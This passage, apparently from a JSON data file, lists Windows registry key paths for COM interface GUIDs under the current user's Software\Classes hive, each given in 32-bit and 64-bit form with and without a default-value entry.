  1661. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02371-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1662. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02371-B5BC-11CF-810F-00A0C9030074}",
  1663. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02371-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1664. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02372-B5BC-11CF-810F-00A0C9030074}",
  1665. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02372-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1666. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02372-B5BC-11CF-810F-00A0C9030074}",
  1667. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02372-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1668. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8A683C90-BA84-11CF-8110-00A0C9030074}",
  1669. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8A683C90-BA84-11CF-8110-00A0C9030074}\\(Default)",
  1670. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8A683C90-BA84-11CF-8110-00A0C9030074}",
  1671. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8A683C90-BA84-11CF-8110-00A0C9030074}\\(Default)",
  1672. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8A683C91-BA84-11CF-8110-00A0C9030074}",
  1673. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8A683C91-BA84-11CF-8110-00A0C9030074}\\(Default)",
  1674. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8A683C91-BA84-11CF-8110-00A0C9030074}",
  1675. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8A683C91-BA84-11CF-8110-00A0C9030074}\\(Default)",
  1676. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}",
  1677. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1678. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}",
  1679. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1680. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}",
  1681. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1682. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}",
  1683. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1684. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{29B86A70-F52E-11CE-9BCE-00AA00608E01}",
  1685. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\\(Default)",
  1686. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{29B86A70-F52E-11CE-9BCE-00AA00608E01}",
  1687. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\\(Default)",
  1688. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}",
  1689. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1690. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}",
  1691. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1692. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}",
  1693. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\\(Default)",
  1694. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}",
  1695. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\\(Default)",
  1696. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}",
  1697. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\\(Default)",
  1698. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}",
  1699. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\\(Default)",
  1700. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}",
  1701. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\\(Default)",
  1702. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}",
  1703. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\\(Default)",
  1704. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}",
  1705. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1706. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}",
  1707. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1708. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}",
  1709. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1710. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}",
  1711. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1712. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}",
  1713. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1714. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}",
  1715. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1716. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}",
  1717. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1718. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}",
  1719. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1720. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}",
  1721. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1722. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}",
  1723. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1724. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}",
  1725. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1726. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}",
  1727. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1728. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}",
  1729. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1730. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}",
  1731. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1732. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}",
  1733. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1734. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}",
  1735. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1736. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}",
  1737. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1738. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}",
  1739. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1740. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{A38BFFC3-A5A0-11CE-8107-00AA00611080}",
  1741. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\\(Default)",
  1742. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{A38BFFC3-A5A0-11CE-8107-00AA00611080}",
  1743. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\\(Default)",
  1744. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{944ACF93-A1E6-11CE-8104-00AA00611080}",
  1745. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{944ACF93-A1E6-11CE-8104-00AA00611080}\\(Default)",
  1746. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{944ACF93-A1E6-11CE-8104-00AA00611080}",
  1747. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{944ACF93-A1E6-11CE-8104-00AA00611080}\\(Default)",
  1748. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}",
  1749. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1750. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}",
  1751. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1752. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{79176FB3-B7F2-11CE-97EF-00AA006D2776}",
  1753. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\\(Default)",
  1754. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{79176FB3-B7F2-11CE-97EF-00AA006D2776}",
  1755. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\\(Default)",
  1756. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{4C599243-6926-101B-9992-00000B65C6F9}",
  1757. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{4C599243-6926-101B-9992-00000B65C6F9}\\(Default)",
  1758. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{4C599243-6926-101B-9992-00000B65C6F9}",
  1759. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{4C599243-6926-101B-9992-00000B65C6F9}\\(Default)",
  1760. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}",
  1761. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1762. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}",
  1763. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1764. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}",
  1765. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1766. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}",
  1767. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1768. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}",
  1769. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1770. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}",
  1771. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1772. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}",
  1773. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1774. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}",
  1775. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1776. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}",
  1777. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1778. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}",
  1779. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1780. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}",
  1781. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1782. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}",
  1783. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1784. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}",
  1785. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1786. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}",
  1787. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1788. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}",
  1789. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1790. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}",
  1791. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1792. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}",
  1793. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1794. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}",
  1795. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1796. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}",
  1797. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1798. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}",
  1799. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1800. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}",
  1801. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\\(Default)",
  1802. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}",
  1803. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\\(Default)",
  1804. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}",
  1805. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1806. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}",
  1807. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1808. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}",
  1809. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1810. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}",
  1811. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1812. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}",
  1813. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1814. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}",
  1815. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1816. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}",
  1817. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1818. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}",
  1819. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1820. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}",
  1821. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1822. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}",
  1823. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1824. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}",
  1825. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1826. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}",
  1827. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1828. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}",
  1829. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1830. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}",
  1831. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1832. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}",
  1833. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1834. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}",
  1835. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1836. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}",
  1837. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1838. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}",
  1839. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1840. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{79176FB2-B7F2-11CE-97EF-00AA006D2776}",
  1841. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\\(Default)",
  1842. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{79176FB2-B7F2-11CE-97EF-00AA006D2776}",
  1843. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\\(Default)",
  1844. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{4C5992A5-6926-101B-9992-00000B65C6F9}",
  1845. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{4C5992A5-6926-101B-9992-00000B65C6F9}\\(Default)",
  1846. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{4C5992A5-6926-101B-9992-00000B65C6F9}",
  1847. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{4C5992A5-6926-101B-9992-00000B65C6F9}\\(Default)",
  1848. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}",
  1849. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\\(Default)",
  1850. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}",
  1851. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\\(Default)",
  1852. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}",
  1853. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1854. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}",
  1855. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1856. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}",
  1857. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1858. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}",
  1859. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1860. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}",
  1861. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1862. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}",
  1863. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1864. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}",
  1865. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\\(Default)",
  1866. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}",
  1867. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\\(Default)",
